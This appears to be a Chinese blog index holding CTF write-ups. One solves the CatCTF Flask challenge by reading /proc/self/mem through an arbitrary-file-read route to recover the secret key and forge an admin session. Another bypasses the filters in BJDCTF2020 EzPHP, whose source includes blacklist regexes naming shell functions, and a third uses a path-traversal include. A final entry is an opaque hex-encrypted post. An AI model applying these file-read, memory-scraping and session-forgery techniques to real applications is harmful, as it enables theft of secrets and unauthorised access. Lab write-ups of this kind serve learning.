前两个数字是区域的边界(第一个字节的地址和最后一个字节的地址,以六进制表示)。下一列包含权限,如果这是文件映射,则包含有关文件的一些信息(偏移量,设备,索引节点和名称)。 /proc/{pid}/mem是一个特殊的文件,可以访问这个进程的内存,不过在一般的情况下,这东西我们是没法直接拖出来的,内存是一片庞大的沙漠,在这里我们需要地址给予方向。 12要从/proc/$pid/mem读取的进程必须使用带有r--------标志的/proc/$pid/mem附加到该进程。这是调试器在开始调试进程时所做的工作。这也是ptrace对进程的系统调用所做的。读取器完成对PTRACE_ATTACH的读取后,应通过使用strace标志调用/proc/$pid/mem来断开连接。观察到的进程一定不能运行。通常,调用ptrace将停止目标进程(它发送PTRACE_DETACH信号),但是存在竞争状态(信号传递是异步的),因此跟踪程序应调用ptrace(PTRACE_ATTACH, …)(如STOP中所述)。以root用户身份运行的进程可以读取任何进程的内存,而无需调用wait,但是必须停止观察到的进程,否则读取仍将返回ptrace(2)。 这一坨鸟语应该都没看懂吧,没错,我也没看懂,所以我拜访了一下chatGPT,不得不说,chatGPT真的比google好用 You can read from and write to this file to access and modify the memory of the process. This can be useful for debugging and troubleshooting purposes. For example, you can use the dd command to read a block of memory from the /proc/pid/mem file, like this: 1dd if=/proc/pid/mem bs=1 count=1024 skip=0x1234000 This will read 1024 bytes of memory from the process starting at the address 0x1234000. Keep in mind that accessing the memory of a process can be dangerous, as it can potentially cause the process to crash or behave unexpectedly. It is generally best to use caution when using the /proc/pid/mem file. 我英语水平不行,我就不翻译了,师傅们应该能看懂 CATCTF CatCatinfo路由任意文件读取,读到python源代码123456789101112131415161718192021222324252627282930313233343536373839import os import uuid from flask import Flask, request, session, render_template, Markup from cat import cat flag = "" app = Flask( __name__, static_url_path='/', static_folder='static' ) app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" if os.path.isfile("/flag"): flag = cat("/flag") os.remove("/flag") @app.route('/', methods=['GET']) def index(): detailtxt = os.listdir('./details/') cats_list = [] for i in detailtxt: cats_list.append(i[:i.index('.')]) return render_template("index.html", cats_list=cats_list, cat=cat) @app.route('/info', methods=["GET", 'POST']) def info(): filename = "./details/" + request.args.get('file', "") start = request.args.get('start', "0") end = request.args.get('end', "0") name = request.args.get('file', "")[:request.args.get('file', "").index('.')] return render_template("detail.html", catname=name, info=cat(filename, start, end)) @app.route('/admin', methods=["GET"]) def admin_can_list_root(): if session.get('admin') == 1: return flag else: session['admin'] = 0 return "NoNoNo" if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=5637) 尝试proc/self/fd读环境变量不行,看样子也不是SSTI,想了想,应该是session下手了。 问题来了,uuid4()无法破解 峰回路转,看到cat,尝试读取一下cat.py 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152import os, sys, getopt def cat(filename, start=0, end=0)->bytes: data = b'' try: start = int(start) end = int(end) except: start=0 end=0 if filename != "" and os.access(filename, os.R_OK): f = open(filename, "rb") if start >= 0: f.seek(start) if end >= start and end != 0: data = f.read(end-start) else: data = f.read() else: data = f.read() f.close() else: data = ("File `%s` not exist or can not be read" % filename).encode() return data if __name__ == '__main__': opts,args = getopt.getopt(sys.argv[1:],'-h-f:-s:-e:',['help','file=','start=','end=']) fileName = "" start = 0 end = 0 for opt_name, opt_value in opts: if opt_name == '-h' or opt_name == '--help': print("[*] Help") print("-f --file File name") print("-s --start Start position") print("-e --end End position") print("[*] Example of reading /etc/passwd") print("python3 cat.py -f /etc/passwd") print("python3 cat.py --file /etc/passwd") print("python3 cat.py -f /etc/passwd -s 1") print("python3 cat.py -f /etc/passwd -e 5") print("python3 cat.py -f /etc/passwd -s 1 -e 5") exit() elif opt_name == '-f' or opt_name == '--file': fileName = opt_value elif opt_name == '-s' or opt_name == '--start': start = opt_value elif opt_name == '-e' or opt_name == '--end': end = opt_value if fileName != "": print(cat(fileName, start, end)) else: print("No file to read") 终于露出只因脚了。 把模板拖出来看一看 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596<!DOCTYPE HTML><html class="no-js"><head><!-- Basic Page Needs ================================================== --><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>Cat cat</title><meta name="description" content=""><meta name="keywords" content=""><meta name="author" content=""><!-- Mobile Specific Metas ================================================== --><meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0"><link rel="icon" type="image/x-icon" href="images/favicon.ico"><!-- CSS ================================================== --><link href="css/bootstrap.css" rel="stylesheet" type="text/css"><link href="css/bootstrap-theme.css" rel="stylesheet" type="text/css"><link href="css/style.css" rel="stylesheet" type="text/css"><link href="vendor/magnific/magnific-popup.css" rel="stylesheet" type="text/css"><link href="vendor/owl-carousel/css/owl.carousel.css" rel="stylesheet" type="text/css"><link href="vendor/owl-carousel/css/owl.theme.css" rel="stylesheet" type="text/css"><!--[if lte IE 9]><link rel="stylesheet" type="text/css" href="css/ie.css" media="screen" /><![endif]--><link href="css/custom.css" rel="stylesheet" type="text/css"><!-- CUSTOM STYLESHEET FOR STYLING --><!-- Color Style --><link href="colors/color1.css" rel="stylesheet" type="text/css"><!-- SCRIPTS ================================================== --><script src="js/modernizr.js"></script><!-- Modernizr --></head><body class="home"><!--[if lt IE 7]> <p class="chromeframe">You are using an outdated browser. <a href="http://browsehappy.com/">Upgrade your browser today</a> or <a href="http://www.google.com/chromeframe/?redirect=true">install Google Chrome Frame</a> to better experience this site.</p><![endif]--><div class="body"> <!-- Start Header --> <div class="header-wrapper" style="height: 60px"> <header class="site-header"> <div class="container"> <div class="site-tagline">Cat &amp; Many kinds of cats</div> <a href="#" class="btn btn-default btn-sm" id="contact-info"><i class="fa fa-bars"></i></a> </div> </header> </div> <!-- End Header --> <div class="lgray-bg" style="background-image:url(images/leaves3.png); background-repeat:repeat"> <div class="container"> <h4 class="stacked-title" style="background-color:black"><a href="/">Cats</a></h4> <div class="row"> <div class="col-md-10 col-sm-12"> <div class="feature-block" style="float: left"> <img src="cats/{{catname}}.jpg" alt="{{catname}}"> <h5>{{catname}}</h5> <p>{{info}}</p> </div> </div> </div> <div class="spacer-50"></div> </div> </div> <!-- Site Footer --> <div class="site-footer-bottom"> <div class="container"> <div class="row"> <div class="col-md-6 col-sm-6"> <div class="copyrights-col-left"> <p>&copy; 2022 Cat cat by lx56@blog.lxscloud.top. All Rights Reserved</p> </div> </div> <div class="col-md-6 col-sm-6"> <div class="copyrights-col-right"> </div> </div> </div> </div> </div> <a id="back-to-top"><i class="fa fa-angle-double-up"></i></a></div><script src="js/jquery-2.2.3.min.js"></script> <!-- Jquery Library Call --><script src="vendor/magnific/jquery.magnific-popup.min.js"></script> <!-- PrettyPhoto Plugin --><script src="js/ui-plugins.js"></script> <!-- UI Plugins --><script src="js/helper-plugins.js"></script> <!-- Helper Plugins --><script src="vendor/owl-carousel/js/owl.carousel.min.js"></script> <!-- Owl Carousel --><script src="js/bootstrap.js"></script> <!-- UI --><script src="js/init.js"></script> <!-- All Scripts --><script src="vendor/flexslider/js/jquery.flexslider.js"></script> <!-- FlexSlider --></body></html> 文件都是bytes类型,SSTI没的打,emmmmm 再看看index.html,emm还是毫无用处emmmmm 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596<!DOCTYPE HTML><html class="no-js"><head><!-- Basic Page Needs ================================================== --><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>Cat cat</title><meta name="description" content=""><meta name="keywords" content=""><meta name="author" content=""><!-- Mobile Specific Metas ================================================== --><meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0"><link rel="icon" type="image/x-icon" href="images/favicon.ico"><!-- CSS ================================================== --><link href="css/bootstrap.css" rel="stylesheet" type="text/css"><link href="css/bootstrap-theme.css" rel="stylesheet" type="text/css"><link href="css/style.css" rel="stylesheet" type="text/css"><link href="vendor/magnific/magnific-popup.css" rel="stylesheet" type="text/css"><link href="vendor/owl-carousel/css/owl.carousel.css" rel="stylesheet" type="text/css"><link href="vendor/owl-carousel/css/owl.theme.css" rel="stylesheet" type="text/css"><!--[if lte IE 9]><link rel="stylesheet" type="text/css" href="css/ie.css" media="screen" /><![endif]--><link href="css/custom.css" rel="stylesheet" type="text/css"><!-- CUSTOM STYLESHEET FOR STYLING --><!-- Color Style --><link href="colors/color1.css" rel="stylesheet" type="text/css"><!-- SCRIPTS ================================================== --><script src="js/modernizr.js"></script><!-- Modernizr --></head><body class="home"><!--[if lt IE 7]> <p class="chromeframe">You are using an outdated browser. <a href="http://browsehappy.com/">Upgrade your browser today</a> or <a href="http://www.google.com/chromeframe/?redirect=true">install Google Chrome Frame</a> to better experience this site.</p><![endif]--><div class="body"> <!-- Start Header --> <div class="header-wrapper" style="height: 60px"> <header class="site-header"> <div class="container"> <div class="site-tagline">Cat &amp; Many kinds of cats</div> <a href="#" class="btn btn-default btn-sm" id="contact-info"><i class="fa fa-bars"></i></a> </div> </header> </div> <!-- End Header --> <div class="lgray-bg" style="background-image:url(images/leaves3.png); background-repeat:repeat"> <div class="container"> <h4 class="stacked-title" style="background-color:black">Cats</h4> <div class="row"> {% for a_cat in cats_list %} <div class="col-md-3 col-sm-6"> <div class="feature-block"> <img src="cats/{{a_cat}}.jpg" alt="{{a_cat}}"> <h5>{{a_cat}}</h5> <p><a href="/info?file={{a_cat}}.txt">{{cat("./details/"+a_cat+".txt", 0, 80).decode()}}...</a></p> </div> </div> {% endfor %} </div> <div class="spacer-50"></div> </div> </div> <!-- Site Footer --> <div class="site-footer-bottom"> <div class="container"> <div class="row"> <div class="col-md-6 col-sm-6"> <div class="copyrights-col-left"> <p>&copy; 2022 Cat cat by lx56@blog.lxscloud.top. All Rights Reserved</p> </div> </div> <div class="col-md-6 col-sm-6"> <div class="copyrights-col-right"> </div> </div> </div> </div> </div> <a id="back-to-top"><i class="fa fa-angle-double-up"></i></a></div><script src="js/jquery-2.2.3.min.js"></script> <!-- Jquery Library Call --><script src="vendor/magnific/jquery.magnific-popup.min.js"></script> <!-- PrettyPhoto Plugin --><script src="js/ui-plugins.js"></script> <!-- UI Plugins --><script src="js/helper-plugins.js"></script> <!-- Helper Plugins --><script src="vendor/owl-carousel/js/owl.carousel.min.js"></script> <!-- Owl Carousel --><script src="js/bootstrap.js"></script> <!-- UI --><script src="js/init.js"></script> <!-- All Scripts --><script src="vendor/flexslider/js/jquery.flexslider.js"></script> <!-- FlexSlider --></body></html> 典中典 只因 删flag只存在变量中简单分析一下,本题看着好像使用了模板,但是并不能打ssti,所以说需要通过任意文件读取的路由下载特定文件。Debug模式关闭,算pin走console肯定不行了. 众所周知,python运行的时候,会把对象存储在堆区里,因此我们可以通过读取堆区的东西来过去key然后就能伪造session从admin路由堂而皇之的获取flag了,在本题中,提供了一个cat.py,这让我们可以带偏移量的读取文件,也就是说,拥有了在内存海洋里”航行”的船桨(不会出现指向内存的空指针),还有一个问题便是偏移量,不用担心,/proc/pid/maps就全都给出来了 比如这样: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162root@VM-8-17-ubuntu:/proc/59428# cat maps00400000-00423000 r--p 00000000 fc:02 130987 /usr/bin/python3.800423000-006b0000 r-xp 00023000 fc:02 130987 /usr/bin/python3.8006b0000-008ec000 r--p 002b0000 fc:02 130987 /usr/bin/python3.8008ed000-008ee000 r--p 004ec000 fc:02 130987 /usr/bin/python3.8008ee000-00935000 rw-p 004ed000 fc:02 130987 /usr/bin/python3.800935000-00958000 rw-p 00000000 00:00 0 00b1b000-00bc5000 rw-p 00000000 00:00 0 [heap]7f082cb41000-7f082cd66000 rw-p 00000000 00:00 0 7f082cd66000-7f082d04c000 r--p 00000000 fc:02 161431 /usr/lib/locale/locale-archive7f082d04c000-7f082d04f000 rw-p 00000000 00:00 0 7f082d04f000-7f082d051000 r--p 00000000 fc:02 138114 /usr/lib/x86_64-linux-gnu/libz.so.1.2.117f082d051000-7f082d062000 r-xp 00002000 fc:02 138114 /usr/lib/x86_64-linux-gnu/libz.so.1.2.117f082d062000-7f082d068000 r--p 00013000 fc:02 138114 /usr/lib/x86_64-linux-gnu/libz.so.1.2.117f082d068000-7f082d069000 ---p 00019000 fc:02 138114 /usr/lib/x86_64-linux-gnu/libz.so.1.2.117f082d069000-7f082d06a000 r--p 00019000 fc:02 138114 /usr/lib/x86_64-linux-gnu/libz.so.1.2.117f082d06a000-7f082d06b000 rw-p 0001a000 fc:02 138114 /usr/lib/x86_64-linux-gnu/libz.so.1.2.117f082d06b000-7f082d06d000 rw-p 00000000 00:00 0 7f082d06d000-7f082d071000 r--p 00000000 fc:02 130659 /usr/lib/x86_64-linux-gnu/libexpat.so.1.6.117f082d071000-7f082d08d000 r-xp 00004000 fc:02 130659 /usr/lib/x86_64-linux-gnu/libexpat.so.1.6.117f082d08d000-7f082d097000 r--p 00020000 fc:02 130659 /usr/lib/x86_64-linux-gnu/libexpat.so.1.6.117f082d097000-7f082d098000 ---p 0002a000 fc:02 130659 /usr/lib/x86_64-linux-gnu/libexpat.so.1.6.117f082d098000-7f082d09a000 r--p 0002a000 fc:02 130659 /usr/lib/x86_64-linux-gnu/libexpat.so.1.6.117f082d09a000-7f082d09b000 rw-p 0002c000 fc:02 130659 /usr/lib/x86_64-linux-gnu/libexpat.so.1.6.117f082d09b000-7f082d0aa000 r--p 00000000 fc:02 138508 /usr/lib/x86_64-linux-gnu/libm-2.31.so7f082d0aa000-7f082d151000 r-xp 0000f000 fc:02 138508 /usr/lib/x86_64-linux-gnu/libm-2.31.so7f082d151000-7f082d1e8000 r--p 000b6000 fc:02 138508 /usr/lib/x86_64-linux-gnu/libm-2.31.so7f082d1e8000-7f082d1e9000 r--p 0014c000 fc:02 138508 /usr/lib/x86_64-linux-gnu/libm-2.31.so7f082d1e9000-7f082d1ea000 rw-p 0014d000 fc:02 138508 /usr/lib/x86_64-linux-gnu/libm-2.31.so7f082d1ea000-7f082d1eb000 r--p 00000000 fc:02 138626 /usr/lib/x86_64-linux-gnu/libutil-2.31.so7f082d1eb000-7f082d1ec000 r-xp 00001000 fc:02 138626 /usr/lib/x86_64-linux-gnu/libutil-2.31.so7f082d1ec000-7f082d1ed000 r--p 00002000 fc:02 138626 /usr/lib/x86_64-linux-gnu/libutil-2.31.so7f082d1ed000-7f082d1ee000 r--p 00002000 fc:02 138626 /usr/lib/x86_64-linux-gnu/libutil-2.31.so7f082d1ee000-7f082d1ef000 rw-p 00003000 fc:02 138626 /usr/lib/x86_64-linux-gnu/libutil-2.31.so7f082d1ef000-7f082d1f0000 r--p 00000000 fc:02 138416 /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f082d1f0000-7f082d1f2000 r-xp 00001000 fc:02 138416 /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f082d1f2000-7f082d1f3000 r--p 00003000 fc:02 138416 /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f082d1f3000-7f082d1f4000 r--p 00003000 fc:02 138416 /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f082d1f4000-7f082d1f5000 rw-p 00004000 fc:02 138416 /usr/lib/x86_64-linux-gnu/libdl-2.31.so7f082d1f5000-7f082d1fc000 r--p 00000000 fc:02 138569 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f082d1fc000-7f082d20d000 r-xp 00007000 fc:02 138569 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f082d20d000-7f082d212000 r--p 00018000 fc:02 138569 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f082d212000-7f082d213000 r--p 0001c000 fc:02 138569 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f082d213000-7f082d214000 rw-p 0001d000 fc:02 138569 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so7f082d214000-7f082d218000 rw-p 00000000 00:00 0 7f082d218000-7f082d23d000 r--p 00000000 fc:02 138398 /usr/lib/x86_64-linux-gnu/libc-2.31.so7f082d23d000-7f082d3b5000 r-xp 00025000 fc:02 138398 /usr/lib/x86_64-linux-gnu/libc-2.31.so7f082d3b5000-7f082d3ff000 r--p 0019d000 fc:02 138398 /usr/lib/x86_64-linux-gnu/libc-2.31.so7f082d3ff000-7f082d400000 ---p 001e7000 fc:02 138398 /usr/lib/x86_64-linux-gnu/libc-2.31.so7f082d400000-7f082d403000 r--p 001e7000 fc:02 138398 /usr/lib/x86_64-linux-gnu/libc-2.31.so7f082d403000-7f082d406000 rw-p 001ea000 fc:02 138398 /usr/lib/x86_64-linux-gnu/libc-2.31.so7f082d406000-7f082d40c000 rw-p 00000000 00:00 0 7f082d412000-7f082d419000 r--s 00000000 fc:02 262948 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache7f082d419000-7f082d41a000 r--p 00000000 fc:02 138367 /usr/lib/x86_64-linux-gnu/ld-2.31.so7f082d41a000-7f082d43d000 r-xp 00001000 fc:02 138367 /usr/lib/x86_64-linux-gnu/ld-2.31.so7f082d43d000-7f082d445000 r--p 00024000 fc:02 138367 /usr/lib/x86_64-linux-gnu/ld-2.31.so7f082d446000-7f082d447000 r--p 0002c000 fc:02 138367 /usr/lib/x86_64-linux-gnu/ld-2.31.so7f082d447000-7f082d448000 rw-p 0002d000 fc:02 138367 /usr/lib/x86_64-linux-gnu/ld-2.31.so7f082d448000-7f082d449000 rw-p 00000000 00:00 0 7fffbbe8a000-7fffbbeab000 rw-p 00000000 00:00 0 [stack]7fffbbf92000-7fffbbf95000 r--p 00000000 00:00 0 [vvar]7fffbbf95000-7fffbbf96000 r-xp 00000000 00:00 0 [vdso] 前面的便是地址和偏移量,只需要读取这些,然后再根据这个地址进行内存的读取就可以把key读出来了,然后就能读取内存了。 从app.py里的代码来看,key后面跟着都是*abcdefgh,只需要找到含有这个字符串的内容输出,就能直接找到key了,还可以更简单粗暴一点,格式是UUID+”*abcdefgh”,可以写个正则表达式输出。 至于key获得了,就可以直接通过flask-session-cookie-manager3.py(github有源码)搞事情了qwq 总结:1.在有任意文件读取的地方,可以通过/proc/pid/cmdline扫描进程2.可以通过/proc/pid/fd/3恢复python中Open但是并没有close的文件 0xFFFF Reform","link":"/2023/01/05/%E6%B5%85%E8%B0%88proc/"},{"title":"刷题记录23-1-11","text":"[BJDCTF2020]EzPHP查看源代码 12<!-- Here is the real page =w= --><!-- GFXEIM3YFZYGQ4A= --> base32解码1nD3x.php 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051<?phphighlight_file(__FILE__);error_reporting(0); $file = "1nD3x.php";$shana = $_GET['shana'];$passwd = $_GET['passwd'];$arg = '';$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\\.|\\"|\\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); }if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>"; } } else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?<br>";} else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!");}if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\\`|\\{|\\%|x|\\&|\\$|\\*|\\||\\<|\\"|\\'|\\=|\\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\\.|log|\\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?> 第一个if123456if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\\.|\\"|\\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); } 地图炮版基本过滤,就在那里恶心人url编码过去 123456if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>"; } } else die('fxck you! What do you want to do ?!'); 过正则,又要不全等于,前面正则匹配,加个换行就行了 123456if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } $_REQUEST特性 当我只传入?aaa=111此时$_REQUEST=array(1) { ["aaa"]=> string(3) "111" },如果我再同时POST一个aaa=123时候,$_REQUEST=array(1) { ["aaa"]=> string(3) "123" }利用这个特性覆写 12if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"); data伪协议覆写,记得POST覆盖一下 1234567if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?<br>";} else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!");} 数组报错绕过,获得关键extract($_GET["flag"]); 1234567if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\\`|\\{|\\%|x|\\&|\\$|\\*|\\||\\<|\\"|\\'|\\=|\\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\\.|log|\\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?> create_function()此处include flag.php大胆猜测flag在变量中,可以直接输出所有的变量 ["ffffffff11111114ggggg"]=> string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 取反绕过,伪协议读取rea1fl4g.php [网鼎杯 2020 半决赛]AliceWebsite?action疑似任意文件读取,貌似伪协议读不出来,读取一下/start.sh 1#!/bin/bash if [[ -f /flag.sh ]]; then source /flag.sh fi apache2-foreground 寄,投机取巧没成功,flag.sh被删了 整了一圈啥都没弄到,看了眼wp 妈的,直接包含../../flag","link":"/2023/01/11/%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95-23-1-11/"},{"title":"从西湖论剑学到的javascript特性","text":"0x00 前言西湖论剑…一题没出 捅了js窝了,全是没咋学习过的javascript 0x01 Javascript 中的变量Javascipt中,只有一种结构,对象(object),每个实例对象(object)都有一个私有属性(__proto__)层层向上","link":"/2023/02/02/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91%E6%9C%89%E6%84%9F/"},{"title":"某游私服原理","text":"ea5b06941157b74a1f44e9fddf16effe9d7d2591f59b2783b7cdc3c8a7e9e210608c1ccdf1027c30349f135eb6325e65f31d307f07b2bccb126f1094286416a9a9a2c9e24c0e1d9e3c61cf976f8b702f7c6f8800184368c3d3393adfe1974ceebdf205b30230f7327174f6bbd93099d8979516aa570d6718a7b0474682351a875b7a9224f8a7c6442fda910c41a5f35bf01e4b44dba006d99353c8297b8175aec3703191af68bf275cddbd129bd94db78a22364ff63673730c8f40dbe4727b906a6495107fb00cfc81c39a39dc9ea14d23cf4c0dcabba4f744c9257531d9ea47ff3751c0bee0ae491bd87a10f64009e27417a152eb2f2548935a23ff50993b03bc29675d6fdfe5da2c7ee1a2bb64774eae5dcffa1e3210ba71f8fd72dcf8eae5aedfa5024405598e8642b74629ba2af0e1dfc2c2e3f37a58f32087acda4127e787fa535ef00badd01bbe49e9a0c91d15034344f42c7c76d9146c22a5170537b09064c6eebe1c163f8386defe12eb3e746b53cc3f64c428e9f69e7b26a49c0a0f63eca80081db62d47faca55dca8b19bf5d78bfaff256356b586f3904f7c000647e4cda8ec9ec10a884967d5e351f7a31bc7fe3cb64659259b43dda0cb007a42c50109eab2657a0eb8764748b7bdfc675ee351cf36228c3feaa3bbbc29d75b7ba2d862abd873dd1ae7069f8de22846869102539eae56cc9dcc587a3c570a12f01ce71ffdd589728c81309ca60b209bb6305f24b8ce8f5e4479c644a25c7bcd0f3c4ee58ea1adae4d4b2ad3f9f300fbfd26d57665366a740d706aee0c6e7af1ed3263dde4512ea8d4b4862f8d6d9364ed7e4d9bc5a4c4a48f8c97f664f955741215788e84beafb836420a08a389c2dcb26b4749a31f46b8e8b36e2dc441686a848d7b4d43a3366d1c08b46961d74d5e82aeb50a8561aa43e78284b0f292c1f0807bd8f33ba65c36b73cca629e236b12569c7a5a0b1c573aae6f424e165a34748bb1192b59950a8409e6a48544dccb9377380adefbdda19d5f51491926da6f71cc9c177272136ef20b2527228ecf34e57366818283f24ea487e0a8350f787e452fb3ab62bff98c38399887f62116e9cf13e708fbf87e31d197c32ea11d86119f40a39ea96e81ff944ca8b5f2a564471127ab2cb60545a89753105a574b29b617ad92cffee1c7a27268b19a784a1b53ee573635b5e51bcb7ef399adc13a8b99963a81cf0f41851dd198ba7b2f4addb9ef31ecbc6dd6055c2b610bf86a2d7345e867b8388b678f2f27e0c99291fa0e97d38d9942faeb66611919dc391018c207049494be673b6c2d8715bc1830b970f704573047b2b1f20a457ec16204cfda2d9abc273cb87e33e32fe4f07fbbaecd7afc04b84f29e9cbd095ca955a8d4190933d2aba8e7cae2d7a7ee514629309293c309175f92dfab1b71e795c8f6a3228b60adedf732c7a6c3f9c786cb5ed6e7c8cbadf393e5b31121cbb591028e69ebba0159240cb19f4e45a465d5532c96164bb42327fb3991fd83710d11f35eb10f8315f0d51f2f8bd678edb51776000d0311e58df94ffcc055807b5ddf63c41103afdf7994162b47d640d5d3c748b844ee178ee21944a4c1dc8266ded5635b67c709c069c9534978a9a9d0d51bc05b34f3d33d1d5a74947cfe63be17771b36b85a698573f8fb82b51f9357b26579cecd19352fa04870c380855b87c3bd2611e934b0b976dc538feb20a09a002b79edd177511c416eef2884a6b39c6d1c5cde3cc42d558815cb0061072cb7485123cd1721fd8a3a9bbf941108dfbec9ace21d68d04d001fc4b20f48a1738c6c840f66e963cd1eddabe5f8d8b05c345783d9ddddce28cc8f9526be7383f68951921e36b331a9d86f60424640e4d87e9929af60acf63eda0ab4a24677c68a05258de5e0995ce6372ef8b9053d83cb179e041559ec764670a94f42408ff9ffa6f044665ddad52440e5a2d4a59d56fd52cde199022df9f6396172818ca256ce025f700360e4bacad416239a7686cd9896314709d948b75903f2ee23b52acebfd44de80fc2d749dc29bb2065febe2d651aec4e9b245387b3d37b39aa141116ab249b75c136788d4cd1a7e52eecb58f1b666415b7464cab7229dfbe80c906a43f9febf1451cb962035b7ae11bebf2f9dcb9fa62f4ef8bc3b34877015488ff773e5ef654403a03aef1198c787983b334f922c4c194979059a62ef3ffe9c056186c975aeea1669276eac9a1ac1741d631786b02105c305b3089331f409cc0b227408a1a9c22c9f26bcfee31d86f938acf61349b504c41b0050d9fbd48d27e2e5df57eac00849f3ecfd20585de90b85f1d73c322b247bc23b92367589372033d9ee826297b25fcb5d7b6b652dcd869ae27127b9c71f39396ae97c563158320d8fc56e6285ae933a86097571d7d7a1ce9b6b1fc983289efc1335219c1fe7da60005c119b7dcfebf5725ac14649e33f437356d0905ae6cfa8a95a83fb75c3864ecd7d7fcd68cf7fb12f03d5f29cbba65d8fe88d1febc2f8dad48fe376413723ec9778e0c945db47c7acf001fbf7a14d682559125eba082706f87b877174bee833682acb8d0364e008eecec67cb170e5e184d2967f0854dc81fb60ae712faf4977bcc5236e04b72e50852999c4060ba4e5f83028335d9928add67fbc1d5a40661c2cd028fd68290c0ffb7d67ef7c86bd162251facd90061b0a4b970cba65556c311ff71b9c659b55e7211b8a5d760e55159cdb81134f20bd14fec3fa321a16b01450299dc0166b611a7fca1a46f0eb68467cd411c8a40422b3db736ab64b17522787cccfcf8db21af87bfb5008d4184837c42ec4d8216654d600325ac5a6a5305a79eea5f1d725b556bb441b913743cd4659f2177f1c0db97c793ac8f3b35e1089a883fec5dad5e88a3c945d82dd73a67f5ee7e4e15d9a7991b8392a85d6c1eb156a885e82660cd0392929c0f18c595a7e476276f62a8beb1d4f806f6946d884849dfdd826b640d01c0450c232afc855cb886921dac529e05e142d5de0ad6483cec0245adaed8bc3900b64a1962bb46ab396938b3f1d5eb7df4d3de3e0f69b10a084aab2c06652d98a78adb84913c6f8bcaee438620cab17c7c012160cf318270de36d2a1e7d7911118b3eead6b96ad4e0264e486dcde1e1e58c28449d3866993f4f4767128ab5c4a44ad12eff75ece33710808315a7712efab5e5a5b93c542882a350403366607beec82352a33d65e3f59a3ad0f3664a8fe585405849d3ff06d608979b677eda1ad72e8bb045c655dc1d57d5324d83f048b056929ff0f35f00a8ec1174a66f2185cf9f08168eb3e03d8e1eac6a7ac47fd0ed519462c723e09aa8f565a2c21bf141d470364a496df5e8d89b0cc5df58b56c09cc3d75389f116e7e0ebd7306d14e0f9c9e1102053add3e473cb5e1402d10fe4523c